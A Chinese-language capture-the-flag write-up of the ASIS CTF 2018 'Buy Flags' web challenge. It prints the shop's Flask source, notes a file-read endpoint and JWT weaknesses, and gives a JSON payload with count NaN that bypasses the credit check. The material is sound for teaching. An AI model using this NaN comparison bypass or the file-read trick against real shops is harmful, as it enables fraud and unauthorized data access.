iT邦幫忙

2019 iT 邦幫忙鐵人賽

DAY 10
0
Security

CTF30系列 第 10

CTF 7: Buy Flags (Web, ASIS CTF 2018 Quals)

  • 分享至 

  • xImage
  •  

簡要

這也是我打過的一題,不過可能是因為太菜了,所以當時也沒解開。

註解如下:

Here is an online shop that sells flags :) but we don’t have enough money! Can you buy the flag?

這一題點進去,會是一個商城。預設會有 n 單位的錢,而裡面有三個商品可買,其一名子叫 'asis'。asis 的價錢大於 n。

解題方向

首先這題會先看到每個商品對應的圖片,都是用 http://46.101.173.61/image?name=asis.png 這類的網址載入。所以解題第一步會猜 LFI (Local File Inclusion)。

如果注意看的話,會發現客戶端帶一個認證用的 JWT 去請求。拆開後會發現裡面有金錢的數值。我當時有試著猜這是不是 JWT 的問題。因為 JWT 可能有這幾種問題,不過這題的重點都不是在這:

  1. 弱 Secret,這可以用 hashcat 之類的東西去暴力破解
  2. {alg: 'none'}, 因為真的有一種簽名算法叫 none,就是不簽名。這時候可以繞過認證

但可惜都不是這兩個之一。

印象中這題的 Header 會直接說是 Flask,故若猜 app.py 的話,會拿回原碼:

from flask import Flask, Response, render_template, session, request, jsonify

app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()

flags = {
  'fake1': {
    'price': 125,
    'coupons': ['fL@__g'],
    'data': 'fake1{this_is_a_fake_flag}'
  },
  'fake2': {
    'price': 290,
    'coupons': ['fL@__g'],
    'data': 'fake2{this_is_a_fake_flag}'
  },
  'asis': {
    'price': 110,
    'coupons': [],
    'data': open('private/flag.txt').read()
  }
}

@app.route('/')
def main():
  if session.get('credit') == None:
    session['credit'] = 0
    session['coupons'] = []
  return render_template('index.html', credit = session['credit'])
  #return 'Hello World!<br>Your Credit is {}<br>Used Coupons is {}'.format(session.get('credit'), session.get('coupons'))

@app.route('/image')
def resouce():
  image_name = request.args.get('name')
  if '/' in image_name or '..' in image_name or 'private' in image_name:
    return 'Access Denied'
  return Response(open(image_name).read(), mimetype='image/png')

@app.route('/pay', methods=['POST'])
def pay():
  data = request.get_json()
  card = data['card']
  coupon = data['coupon']
  if coupon.replace('=','') in session.get('coupons'):
    return jsonify({'result': 'the coupon is already used'})
  for flag in card:
    if flag['count'] <= 0:
      return jsonify({'result':'item count must be greater than zero'})
  discount = 0
  for flag in card:
                if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
      discount += flag['count'] * flags[flag['name']]['price']
  credit = session.get('credit') + discount
  for flag in card:
    credit -= flag['count'] * flags[flag['name']]['price']
  if credit < 0:
    result = {'result': 'your credit not enough'}
  else:
    result = {'result': 'pay success'}
    result_data = []
    for flag in card:
      result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']})
    result['data'] = result_data
    session['credit'] = credit
    session['coupons'].append(coupon.replace('=',''))
  return jsonify(result)

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=80)

我們的目標是買 asis 這商品。
如果仔細看「檢查金錢」的地方的話,會注意到:

  for flag in card:
    if flag['count'] <= 0:
      return jsonify({'result':'item count must be greater than zero'})
  discount = 0
  for flag in card:
                if coupon.decode('base64').strip() in flags[flag['name']]['coupons']:
      discount += flag['count'] * flags[flag['name']]['price']
  credit = session.get('credit') + discount
  for flag in card:
    credit -= flag['count'] * flags[flag['name']]['price']
  if credit < 0:
    result = {'result': 'your credit not enough'}

payload 是用 data = request.get_json() 來轉成 dict 的。這時候我們可以想說,要怎麼讓它不要扣我們錢?乘以 0? Python 是強型別對吧?(當時也是這樣想)

[es@es-l ~]$ python2 -c 'print(None < 0)'
True

JSON 其實沒有 NaN 這種格式,但 Python 的 json.loads() 預設是可以吃 NaN 的。它背後不是轉換成 None,而是...

>>> json.loads('{"a": NaN}')['a']
nan
>>> type(json.loads('{"a": NaN}')['a'])
<type 'float'>
>>> json.loads('{"a": NaN}')['a'] > 0
False
>>> json.loads('{"a": NaN}')['a'] < 0
False

故我們送出以下內容去買旗子:

{
    "card": [
        {
            "count": NaN,
            "name": "asis"
        }
    ],
    "coupon": ""
}

上面的比較就可以成立。然後拿到 Flag。


上一篇
CTF 6: PHP Object Objection
下一篇
CTF 8: Personal Website (Web, ASIS CTF 2018 Quals)
系列文
CTF3030
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
虎虎
iT邦研究生 5 級 ‧ 2018-10-25 23:25:54

真的超強欸!什麼都難不倒es!!!

我要留言

立即登入留言